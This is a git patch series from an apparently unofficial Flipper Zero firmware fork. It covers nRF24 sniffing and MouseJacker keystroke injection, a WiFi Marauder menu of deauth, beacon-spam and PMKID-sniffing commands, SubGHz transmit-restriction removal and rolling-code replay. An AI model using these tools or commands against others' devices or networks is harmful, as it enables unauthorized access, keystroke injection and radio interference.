nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan); + + +/** Gets the source mac address + * + * @param handle - pointer to FuriHalSpiHandle + * @param[out] mac - the source mac address + * + * @return device status + */ +uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); + + +/** Sets the source mac address + * + * @param handle - pointer to FuriHalSpiHandle + * @param mac - the mac address to set + * @param size - the size of the mac address (2 to 5) + * + * @return device status + */ +uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); + + +/** Gets the dest mac address + * + * @param handle - pointer to FuriHalSpiHandle + * @param[out] mac - the source mac address + * + * @return device status + */ +uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t *mac); + + +/** Sets the dest mac address + * + * @param handle - pointer to FuriHalSpiHandle + * @param mac - the mac address to set + * @param size - the size of the mac address (2 to 5) + * + * @return device status + */ +uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size); + + +/** Reads RX packet + * + * @param handle - pointer to FuriHalSpiHandle + * @param[out] packet - the packet contents + * @param[out] packetsize - size of the received packet + * @param full - boolean set to true, packet length is determined by RX_PW_P0 register, false it is determined by dynamic payload length command + * + * @return device status + */ +uint8_t nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full); + + +/** Sends TX packet + * + * @param handle - pointer to FuriHalSpiHandle + * @param packet - the packet contents + * @param size - packet size + * @param ack - boolean to determine whether an ACK is required for the packet or not + * + * @return device status + */ +uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack); + + +/** Configure the radio + * This is not comprehensive, but covers a lot of the common configuration options that may be changed + * @param handle - pointer to FuriHalSpiHandle + * @param rate - transfer rate in Mbps (1 or 2) + * @param srcmac - source mac address + * @param dstmac - destination mac address + * @param maclen - length of mac address + * @param channel - channel to tune to + * @param noack - if true, disable auto-acknowledge + * @param disable_aa - if true, disable ShockBurst + * + */ +void nrf24_configure(FuriHalSpiBusHandle* handle, uint8_t rate, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t channel, bool noack, bool disable_aa); + +/** Configures the radio for "promiscuous mode" and primes it for rx + * This is not an actual mode of the nrf24, but this function exploits a few bugs in the chip that allows it to act as if it were. + * See http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html for details. + * @param handle - pointer to FuriHalSpiHandle + * @param channel - channel to tune to + * @param rate - transfer rate in Mbps (1 or 2) + */ +void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate); + + +/** Listens for a packet and returns first possible address sniffed + * Call this only after calling nrf24_init_promisc_mode + * @param handle - pointer to FuriHalSpiHandle + * @param maclen - length of target mac address + * @param[out] addresses - sniffed address + * + * @return success + */ +bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address); + +/** Sends ping packet on each channel for designated tx mac looking for ack + * + * @param handle - pointer to FuriHalSpiHandle + * @param srcmac - source address + * @param dstmac - destination address + * @param maclen - length of address + * @param rate - transfer rate in Mbps (1 or 2) + * @param min_channel - channel to start with + * @param max_channel - channel to end at + * @param autoinit - if true, automatically configure radio for this channel + * + * @return channel that the address is listening on, if this value is above the max_channel param, it failed + */ +uint8_t nrf24_find_channel(FuriHalSpiBusHandle* handle, uint8_t* srcmac, uint8_t* dstmac, uint8_t maclen, uint8_t rate, uint8_t min_channel, uint8_t max_channel, bool autoinit); + + +/** Converts 64 bit value into uint8_t array + * @param val - 64-bit integer + * @param[out] out - bytes out + * @param bigendian - if true, convert as big endian, otherwise little endian + */ +void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian); + + +/** Converts 32 bit value into uint8_t array + * @param val - 32-bit integer + * @param[out] out - bytes out + * @param bigendian - if true, convert as big endian, otherwise little endian + */ +void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian); + + +/** Converts uint8_t array into 32 bit value + * @param bytes - uint8_t array + * @param bigendian - if true, convert as big endian, otherwise little endian + * + * @return 32-bit value + */ +uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian); + +#ifdef __cplusplus +} +#endif \ No newline at end of file From 12a2072b8c6d8e4b6018fe1ce647ad25dd06a721 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 19:22:17 +0300 Subject: [PATCH 411/461] docs & readme --- ReadMe.md | 49 +++++++++++---- applications/mousejacker/application.fam | 2 +- applications/nrfsniff/application.fam | 2 +- applications/sentry_safe/application.fam | 2 +- .../wifi_marauder_companion/application.fam | 2 +- assets/resources/Manifest | 6 +- .../subghz/assets/dangerous_settings | 2 + assets/resources/subghz/assets/setting_user | 4 ++ documentation/BadUSBLayouts.md | 16 +++++ documentation/BarcodeGenerator.md | 2 +- documentation/DangerousSettings.md | 12 ++++ documentation/SubGHzSettings.md | 63 +++++++++++++++++++ 12 files changed, 143 insertions(+), 19 deletions(-) create mode 100644 documentation/BadUSBLayouts.md create mode 100644 documentation/DangerousSettings.md create mode 100644 documentation/SubGHzSettings.md diff --git a/ReadMe.md b/ReadMe.md index 717b7fbf3..7ed38a19d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -25,11 +25,12 @@ Our Discord Community:
# What changed -* SubGhz regional TX restriction removed -* Rolling code protocols now has ability to save & send captured signals +* SubGHz regional TX restriction removed +* SubGHz frequecy range can be extended in settings file (Warning: It can damage flipper's hardware) +* Many rolling code protocols now has ability to save & send captured signals * FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation -* Custom plugins and games included -* Extra SubGhz frequencies + extra mifare classic keys +* Custom community plugins and games added +* Extra SubGHz frequencies + extra mifare classic keys * Picopass/iClass plugin is included in releases * Recompiled IR TV Universal Remote for ALL buttons * Other small fixes and changes @@ -49,13 +50,21 @@ See changelog in releases for latest updates! ### Apps included: -- Clock/Stopwatch [(By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) -- UniversalRF Remix (only RAW subghz files) [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) -- Tetris [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- Spectrum Analyzer [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) -- Arkanoid [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- Tic Tac Toe [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- UPC-A Barcode generator plugin [(By McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) +- GPIO: Sentry Safe plugin [(By H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) +- ESP32: WiFi Marauder companion plugin [(By 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +- NRF24: Sniffer & MouseJacker (with changes) [(By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) +- HID Analyzer [(By Ownasaurus)](https://github.com/Ownasaurus/flipperzero-firmware/tree/hid-analyzer/applications/hid_analyzer) +- Clock/Stopwatch (with small fixes) [(By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) +- UniversalRF Remix (with changes)(only RAW subghz files) [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) +- Tetris (with fixes) [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) +- Spectrum Analyzer (with changes) [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) +- Arkanoid (with fixes) [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- Tic Tac Toe (with fixes) [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +### Other changes + +- BadUSB Keyboard layouts [(By v1nc)](https://github.com/v1nc/flipperzero-firmware) ## Support us so we can buy equipment and develop new features * ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` @@ -63,17 +72,35 @@ See changelog in releases for latest updates! * DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` * LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` +**Big thanks to all sponsors!** + # Instructions ## [- How to install firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md) ## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToBuild.md) +## [- BadUSB: how to use different keyboard layouts](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) + +**Plugins** + ## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) +## [- How to use: NRF24 plugins](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/NRF24.md) + +## [- How to use: SentrySafe plugin](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SentrySafe.md) + +## [- Barcode Generator readme](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BarcodeGenerator.md) + +**SubGHz** + +## [- How to extend SubGHz frequency range](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/DangerousSettings.md) + +## [- How to add extra SubGHz frequencies](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/SubGHzSettings.md) +

-# Where I can find IR, SubGhz, ... DBs, and other stuff? +# Where I can find IR, SubGhz, ... files, DBs, and other stuff? ## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero) ## [UberGuidoZ Playground - Large collection of files - Github](https://github.com/UberGuidoZ/Flipper) diff --git a/applications/mousejacker/application.fam b/applications/mousejacker/application.fam index 36af801f2..438ce975e 100644 --- a/applications/mousejacker/application.fam +++ b/applications/mousejacker/application.fam @@ -1,6 +1,6 @@ App( appid="mouse_jacker", - name="[HW] NRF24: Mouse Jacker", + name="[NRF24] Mouse Jacker", apptype=FlipperAppType.PLUGIN, entry_point="mousejacker_app", cdefines=["APP_MOUSEJACKER"], diff --git a/applications/nrfsniff/application.fam b/applications/nrfsniff/application.fam index 605f27ace..d39568110 100644 --- a/applications/nrfsniff/application.fam +++ b/applications/nrfsniff/application.fam @@ -1,6 +1,6 @@ App( appid="nrf_sniff", - name="[HW] NRF24: Sniffer", + name="[NRF24] Sniffer", apptype=FlipperAppType.PLUGIN, entry_point="nrfsniff_app", cdefines=["APP_NRFSNIFF"], diff --git a/applications/sentry_safe/application.fam b/applications/sentry_safe/application.fam index 1a76892c5..f6206ccce 100644 --- a/applications/sentry_safe/application.fam +++ b/applications/sentry_safe/application.fam @@ -1,6 +1,6 @@ App( appid="sentry_safe", - name="[HW] Sentry Safe", + name="[GPIO] Sentry Safe", apptype=FlipperAppType.PLUGIN, entry_point="sentry_safe_app", cdefines=["APP_SENTRY_SAFE"], diff --git a/applications/wifi_marauder_companion/application.fam b/applications/wifi_marauder_companion/application.fam index 3e2388abc..56ad9e603 100644 --- a/applications/wifi_marauder_companion/application.fam +++ b/applications/wifi_marauder_companion/application.fam @@ -1,6 +1,6 @@ App( appid="wifi_marauder", - name="[HW] WiFi (Marauder)", + name="[ESP32] WiFi Marauder", apptype=FlipperAppType.PLUGIN, entry_point="wifi_marauder_app", cdefines=["APP_WIFI_MARAUDER"], diff --git a/assets/resources/Manifest b/assets/resources/Manifest index b9dad13ab..db1c8020f 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1659104936 +T:1659108089 D:badusb D:dolphin D:infrared @@ -232,11 +232,11 @@ F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo -F:20b3d7ea34e38425ce3a3d2a548cc730:138:subghz/assets/dangerous_settings +F:27d732a3362969ac187c8f5ff0afc22a:286:subghz/assets/dangerous_settings F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:c572eaba12d023a199a43098c2c6b72a:1506:subghz/assets/setting_user +F:b6ecaec5fcf45411622d4309c5769009:1590:subghz/assets/setting_user F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der diff --git a/assets/resources/subghz/assets/dangerous_settings b/assets/resources/subghz/assets/dangerous_settings index 3d20a1f54..657b5925d 100644 --- a/assets/resources/subghz/assets/dangerous_settings +++ b/assets/resources/subghz/assets/dangerous_settings @@ -1,2 +1,4 @@ # Do you want to damage your flipper CC1101 radio chip by using Frequencies that outside HW specs? +# CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz +# This setting will extend to: 281-361 MHz, 378-481 MHz, and 749-962 MHz yes_i_want_to_destroy_my_flipper: false \ No newline at end of file diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index b48ded6e8..222b7691b 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -9,6 +9,10 @@ Version: 1 # Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" - they added after default ones if enabled in Add_standard_frequencies Frequency: 302757000 +Frequency: 307000000 +Frequency: 307500000 +Frequency: 307800000 +Frequency: 309000000 Frequency: 312000000 Frequency: 312100000 Frequency: 313850000 diff --git a/documentation/BadUSBLayouts.md b/documentation/BadUSBLayouts.md new file mode 100644 index 000000000..7acbeb957 --- /dev/null +++ b/documentation/BadUSBLayouts.md @@ -0,0 +1,16 @@ + +# BadUSB support for different layouts: + +## Author: [v1nc](https://github.com/v1nc/flipperzero-firmware) + +This firmware supports the `DUCKY_LANG` keyword to change the keyboard layout. + +Add `DUCKY_LANG DE` to the first or second line of the script to choose the layout. +Currently implemented: +* `US` = US (default) +* `DE` = German QWERTZ +* `FR` = AZERTY (based on [this](https://github.com/ikazeer/flipperzero-AZERTY)) + +**If you are writing payloads on windows you need to make sure EOL Conversion is set to LF Unix in your text editor and not windows CR LF. If you do not it will fail to run the payload.** + +## How to add your own layout: [instruction](https://github.com/v1nc/flipperzero-firmware/blob/dev/documentation/HowToAddLayout.md) \ No newline at end of file diff --git a/documentation/BarcodeGenerator.md b/documentation/BarcodeGenerator.md index 1dce6f3fb..b9ea7a86f 100644 --- a/documentation/BarcodeGenerator.md +++ b/documentation/BarcodeGenerator.md @@ -1,4 +1,4 @@ -This is a UPC-A Barcode generator for the flipper zero hardware. +# This is a UPC-A Barcode generator for the flipper zero hardware. ## Author: [McAzzaMan](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) diff --git a/documentation/DangerousSettings.md b/documentation/DangerousSettings.md new file mode 100644 index 000000000..780724644 --- /dev/null +++ b/documentation/DangerousSettings.md @@ -0,0 +1,12 @@ +## How to extend SubGHz supported frequency range + +#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz +#### This setting will extend to: 281-361 MHz, 378-481 MHz, and 749-962 MHz + +1. Please do not do that unless you know what exactly you are doing +2. You don't need extended range for almost all use cases +3. Extending frequency range and transmitting on frequencies that outside of hardware specs can damage your hardware! +4. Flipper Devices team and/or unleashed fw developers is not responsible of any damage that can be caused by using CFW or extending frequency ranges!!! + +If you really sure you need that change, find `subghz/assets/dangerous_settings` file on your microSD, read comments on first lines +and change `false` to `true` \ No newline at end of file diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md new file mode 100644 index 000000000..e77c30ac3 --- /dev/null +++ b/documentation/SubGHzSettings.md @@ -0,0 +1,63 @@ +## How to add new SubGHz frequencies + +#### CC1101 Frequency range specs: 300-348 MHz, 386-464 MHz, and 778-928 MHz + +Edit user settings file located on your microSD card - `subghz/assets/setting_user` + +in this file you will find we already have extra frequencies added +if you need your custom one, make sure it doesnt listed here + +### Default frequency list +``` + /* 300 - 348 */ + 300000000, + 303875000, + 304250000, + 310000000, + 315000000, + 318000000, + + /* 387 - 464 */ + 390000000, + 418000000, + 433075000, /* LPD433 first */ + 433420000, + 433920000 /* LPD433 mid */ + 434420000, + 434775000, /* LPD433 last channels */ + 438900000, + + /* 779 - 928 */ + 868350000, + 915000000, + 925000000, +``` + +### User frequencies added AFTER that default list! You need to continue until you reach the end of that list + +### If you want to disable default list and use ONLY user added frequecies from user settings file +Change that line +`#Add_standard_frequencies: true` +to +`Add_standard_frequencies: false` + +### To add your own frequency to user list +Just add new line +`Frequency: 928000000` - where `928000000` is your frequency, keep it in that format! it should be 9 digits! + +### Hopper frequency list +To add new frequecy to hopper: +add new line `Hopper_frequency: 345000000`
+But remember! You should keep it as small as possible, or hopper functionality would be useless!
+If `#Add_standard_frequencies: true` is not changed
+Your frequencies will be added after default ones + +### Default hopper list +``` + 310000000, + 315000000, + 318000000, + 390000000, + 433920000, + 868350000, +``` \ No newline at end of file From d6bf4819d2caf28719f9d26c51bd674515cd27dc Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 19:28:17 +0300 Subject: [PATCH 412/461] update changelog --- CHANGELOG.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2f6cd2f7e..cc43999cc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,8 @@ ### New changes -* OFW: NFC fixes -* OFW: Infrared.c: Dont Close GUI 2 times +* Added pack of community apps with some fixes/changes - [(Full list)](https://github.com/Eng1n33r/flipperzero-firmware#apps-included) +* BadUSB extra keyboard layouts [(By v1nc)](https://github.com/v1nc/flipperzero-firmware) - [How to use](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/BadUSBLayouts.md) +* Added ability to extend subghz frequency range +* Updated docs and readme - [!!!] Replace your subghz/assets/setting_user with file from `sd-card-(version).zip` because file format has been changed From 79e76365070a4cf7d4ac29b8d7eedb429fab9db7 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Fri, 29 Jul 2022 19:34:41 +0300 Subject: [PATCH 413/461] fmt --- applications/mousejacker/mousejacker.c | 22 +--- .../wifi_marauder_scene_console_output.c | 18 +-- .../scenes/wifi_marauder_scene_start.c | 78 +++++++------ .../scenes/wifi_marauder_scene_text_input.c | 17 ++- .../wifi_marauder_app.c | 6 +- .../wifi_marauder_uart.c | 17 +-- .../wifi_marauder_uart.h | 6 +- lib/drivers/nrf24.h | 109 ++++++++---------- lib/subghz/types.h | 6 +- 9 files changed, 136 insertions(+), 143 deletions(-) diff --git a/applications/mousejacker/mousejacker.c b/applications/mousejacker/mousejacker.c index 4a755a359..7e86bbaa6 100644 --- a/applications/mousejacker/mousejacker.c +++ b/applications/mousejacker/mousejacker.c @@ -36,7 +36,6 @@ typedef struct { int y; bool ducky_err; bool addr_err; - bool ducky_running; } PluginState; uint8_t addrs_count = 0; @@ -55,7 +54,7 @@ static void render_callback(Canvas* const canvas, void* ctx) { canvas_draw_frame(canvas, 0, 0, 128, 64); canvas_set_font(canvas, FontSecondary); - if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->ducky_running) { + if(!plugin_state->addr_err && !plugin_state->ducky_err) { sprintf(target_text, target_fmt_text, target_address_str); canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->"); @@ -74,10 +73,6 @@ static void render_callback(Canvas* const canvas, void* ctx) { canvas, 10, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder"); canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or duckyscript file"); canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "loading error"); - } else if(plugin_state->ducky_running) { - sprintf(target_text, target_fmt_text, target_address_str); - canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text); - canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Running duckyscript..."); } release_mutex((ValueMutex*)ctx, plugin_state); @@ -142,13 +137,8 @@ static bool open_addrs_file(Stream* stream) { return result; } -static bool process_ducky_file( - ViewPort* view_port, - PluginState* plugin_state, - Stream* file_stream, - uint8_t* addr, - uint8_t addr_size, - uint8_t rate) { +static bool + process_ducky_file(Stream* file_stream, uint8_t* addr, uint8_t addr_size, uint8_t rate) { size_t file_size = 0; size_t bytes_read = 0; uint8_t* file_buf; @@ -164,13 +154,9 @@ static bool process_ducky_file( memset(file_buf, 0, file_size); bytes_read = stream_read(file_stream, file_buf, file_size); if(bytes_read == file_size) { - plugin_state->ducky_running = true; - view_port_update(view_port); FURI_LOG_I(TAG, "executing ducky script"); mj_process_ducky_script(nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf); FURI_LOG_I(TAG, "finished execution"); - furi_delay_ms(300); - plugin_state->ducky_running = false; loaded = true; } else { FURI_LOG_I(TAG, "load failed. file size: %d", file_size); @@ -311,8 +297,6 @@ int32_t mousejacker_app(void* p) { LOGITECH_MAX_CHANNEL, true); ducky_ok = process_ducky_file( - view_port, - plugin_state, file_stream, loaded_addrs[addr_idx] + 1, 5, diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c index 7f1c14892..2aba66306 100644 --- a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c @@ -1,12 +1,12 @@ #include "../wifi_marauder_app_i.h" -void wifi_marauder_console_output_handle_rx_data_cb(uint8_t *buf, size_t len, void* context) { +void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { furi_assert(context); WifiMarauderApp* app = context; // If text box store gets too big, then truncate it app->text_box_store_strlen += len; - if (app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { + if(app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { string_right(app->text_box_store, app->text_box_store_strlen / 2); app->text_box_store_strlen = string_size(app->text_box_store); } @@ -24,12 +24,12 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { TextBox* text_box = app->text_box; text_box_reset(app->text_box); text_box_set_font(text_box, TextBoxFontText); - if (app->focus_console_start) { + if(app->focus_console_start) { text_box_set_focus(text_box, TextBoxFocusStart); } else { text_box_set_focus(text_box, TextBoxFocusEnd); } - if (app->is_command) { + if(app->is_command) { string_reset(app->text_box_store); app->text_box_store_strlen = 0; } else { // "View Log" menu action @@ -40,11 +40,13 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); // Register callback to receive data - wifi_marauder_uart_set_handle_rx_data_cb(app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread + wifi_marauder_uart_set_handle_rx_data_cb( + app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread // Send command with newline '\n' - if (app->is_command && app->selected_tx_string) { - wifi_marauder_uart_tx((uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); + if(app->is_command && app->selected_tx_string) { + wifi_marauder_uart_tx( + (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); wifi_marauder_uart_tx((uint8_t*)("\n"), 1); } } @@ -71,7 +73,7 @@ void wifi_marauder_scene_console_output_on_exit(void* context) { wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); // Automatically stop the scan when exiting view - if (app->is_command) { + if(app->is_command) { wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); } } \ No newline at end of file diff --git a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c index bc5e5641c..03d463462 100644 --- a/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c +++ b/applications/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c @@ -5,10 +5,10 @@ // For each command, define whether additional arguments are needed // (enabling text input to fill them out), and whether the console // text box should focus at the start of the output or the end -#define INPUT_ARGS (true) -#define NO_ARGS (false) +#define INPUT_ARGS (true) +#define NO_ARGS (false) #define FOCUS_CONSOLE_START (true) -#define FOCUS_CONSOLE_END (false) +#define FOCUS_CONSOLE_END (false) struct WifiMarauderItem { const char* item_string; bool needs_keyboard; @@ -16,35 +16,35 @@ struct WifiMarauderItem { }; const struct WifiMarauderItem items[NUM_MENU_ITEMS] = { - { "View Log (start)", NO_ARGS, FOCUS_CONSOLE_START }, - { "View Log (end)", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t beacon -l", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t beacon -r", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t beacon -a", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t deauth", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t probe", NO_ARGS, FOCUS_CONSOLE_END }, - { "attack -t rickroll", NO_ARGS, FOCUS_CONSOLE_END }, - { "channel", NO_ARGS, FOCUS_CONSOLE_END }, - { "channel -s", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "clearlist -a", NO_ARGS, FOCUS_CONSOLE_END }, - { "clearlist -s", NO_ARGS, FOCUS_CONSOLE_END }, - { "help", NO_ARGS, FOCUS_CONSOLE_START }, - { "list -a", NO_ARGS, FOCUS_CONSOLE_START }, - { "list -s", NO_ARGS, FOCUS_CONSOLE_START }, - { "reboot", NO_ARGS, FOCUS_CONSOLE_END }, - { "scanap", NO_ARGS, FOCUS_CONSOLE_END }, - { "select -a", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "select -s", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "sniffbeacon", NO_ARGS, FOCUS_CONSOLE_END }, - { "sniffdeauth", NO_ARGS, FOCUS_CONSOLE_END }, - { "sniffesp", NO_ARGS, FOCUS_CONSOLE_END }, - { "sniffpmkid", NO_ARGS, FOCUS_CONSOLE_END }, - { "sniffpmkid -c", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "sniffpwn", NO_ARGS, FOCUS_CONSOLE_END }, - { "ssid -a -g", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "ssid -a -n", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "ssid -r", INPUT_ARGS, FOCUS_CONSOLE_END }, - { "update -w", NO_ARGS, FOCUS_CONSOLE_END }, + {"View Log (start)", NO_ARGS, FOCUS_CONSOLE_START}, + {"View Log (end)", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t beacon -l", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t beacon -r", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t beacon -a", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t deauth", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t probe", NO_ARGS, FOCUS_CONSOLE_END}, + {"attack -t rickroll", NO_ARGS, FOCUS_CONSOLE_END}, + {"channel", NO_ARGS, FOCUS_CONSOLE_END}, + {"channel -s", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"clearlist -a", NO_ARGS, FOCUS_CONSOLE_END}, + {"clearlist -s", NO_ARGS, FOCUS_CONSOLE_END}, + {"help", NO_ARGS, FOCUS_CONSOLE_START}, + {"list -a", NO_ARGS, FOCUS_CONSOLE_START}, + {"list -s", NO_ARGS, FOCUS_CONSOLE_START}, + {"reboot", NO_ARGS, FOCUS_CONSOLE_END}, + {"scanap", NO_ARGS, FOCUS_CONSOLE_END}, + {"select -a", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"select -s", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"sniffbeacon", NO_ARGS, FOCUS_CONSOLE_END}, + {"sniffdeauth", NO_ARGS, FOCUS_CONSOLE_END}, + {"sniffesp", NO_ARGS, FOCUS_CONSOLE_END}, + {"sniffpmkid", NO_ARGS, FOCUS_CONSOLE_END}, + {"sniffpmkid -c", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"sniffpwn", NO_ARGS, FOCUS_CONSOLE_END}, + {"ssid -a -g", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"ssid -a -n", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"ssid -r", INPUT_ARGS, FOCUS_CONSOLE_END}, + {"update -w", NO_ARGS, FOCUS_CONSOLE_END}, }; static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) { @@ -55,7 +55,7 